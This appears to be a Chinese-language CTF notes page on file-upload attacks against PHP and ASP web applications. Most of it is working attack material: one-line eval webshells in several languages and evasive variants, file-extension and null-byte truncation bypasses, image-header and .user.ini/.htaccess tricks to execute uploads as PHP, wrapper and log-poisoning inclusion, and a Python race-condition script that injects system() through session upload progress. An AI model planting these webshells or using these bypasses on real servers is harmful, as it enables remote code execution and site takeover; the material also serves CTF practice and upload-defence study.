弈秋弈秋
弈秋
弈秋
  • 文件上传

文件上传

基础

一句话木马

//php
<?php @eval($_POST['shell']); ?>

//asp
<%eval request("cmd")%>

//aspx
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

import os
os.system(request.form['cmd'])

<% System.Diagnostics.Process.Start(Request["cmd"]); %>


php一句话木马变种

<?php @eval($_POST['cmd']); ?>            //正常写法
<?=@eval($_POST['cmd']); ?>                //短标签,适合过滤php
<% @eval($_POST['cmd']); %>                //asp风格
<script language='php'>@eval($_POST['cmd']);</script>            //<script>风格,适合过滤<?

文件名

过滤了php后缀

  1. 利用phtml
  2. php空格
  3. php.
  4. Php、pHp
  5. php5、php7、php9
  6. php.rar
  7. pphphp //双写扩展文件名

截断

%00截断

这个只有php <= 5.3的才有。高的就不行了。所以就先不试了。(懒得下php5.3了= =)大概就是如下例:

test.php%00.jpg

这是程序就会去掉%00后面的字符串。所以程序读取时候就变成了

test.php

0x00截断

原理是,程序读取文件名时。遇到0x00。就认为文件名结束了。因为0x00就是字符0.也就相当于false和空。类似于c语言读取字符串遇到\0认为是字符串结束一样。

get方式

原始文件名: xiaoma.php.jpg
截断后: xiaoma.php%00.jpg
URL解码后: xiaoma.php[NULL].jpg
结果: 只保存xiaoma.php

post方式

Content-Disposition: form-data; name="file"; filename="xiaoma.php\x00.jpg"

二进制00截断,绕过文件类型检查

文件头绕过

GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

伪协议

http://123.57.51.183:8007/index.php?file=zip://./upload/a1b2c7.zip.jpg%23a.php

测试绝对路径和相对路径,蚁剑都可以
http://123.57.51.183:8007/index.php?file=zip:///var/www/html/upload/a1b2c7.zip.jpg%23a.php

php://filter/convert.base64-encode/resource=flag.php

过滤关键字

过滤了<?

<script language="php">
eval($_POST['1']);
</script>

过滤了eval

$a='ass'.$b.'ert';
$a($_POST['cmd']);

拼接绕过

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

agent记录

发现日志文件会记录我们的UA头,我们可以将恶意代码放入UA头中来获取flag

agent

.user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾

bp样例:

.user.ini

// .user.ini
auto_prepend_file = 1.jpg
// 1.jpg
<?php phpinfo();?>
// 1.php(任意php文件)

满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require('1.png'),进行了文件包含。

user.ini的题目源码:

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

.htaccess

# 将扩展名映射到 PHP 解析器
AddHandler application/x-httpd-php .rhtml .phtml .pht .phps .php3 .php3p .php4 .php5

# 或使用 AddType
AddType application/x-httpd-php .phtml .php3 .phps

filesMatch

<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传顺序:

  1. .htaccess
  2. xiaoma.jpg (含PHP代码)
  3. 访问: /upload/xiaoma.jpg

AddType

AddType application/x-httpd-php .jpg

上传顺序:

  1. .htaccess
  2. 任意.jpg文件 (含PHP代码)
  3. 所有.jpg按PHP解析

竞争

import requests
import threading
import re
 
# 创建一个会话对象,保持会话的状态
session = requests.session()
 
# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'zho'
 
# 目标URL
url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"
 
# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'  # 使用system函数执行命令
}
 
# 要上传的文件数据
file = {
    'file': '111'  # 文件名可以随意设置
}
 
# 设置会话cookie
cookies = {
    'PHPSESSID': sess  # 上传过程中使用固定的PHPSESSID
}
 
# 定义上传文件的函数,持续发送POST请求
def upload_file():
    while True:
        session.post(url1, data=data1, files=file, cookies=cookies)
 
# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
    while True:
        response = session.get(url2)  # 访问目标URL,检查是否能获取到flag
        if 'flag' in response.text:  # 检查返回内容中是否包含flag
            # 正则匹配flag,格式为ctfshow{}
            flag = re.search(r'ctfshow{.+}', response.text)
            if flag:
                print(flag.group())  # 如果找到flag,打印它
 
# 创建两个线程,一个上传文件,一个检查flag
threads = [
    threading.Thread(target=upload_file),
    threading.Thread(target=check_flag)
]
 
# 启动所有线程
for t in threads:
    t.start()
最近更新:: 2025/11/22 19:29
Contributors: yiqiu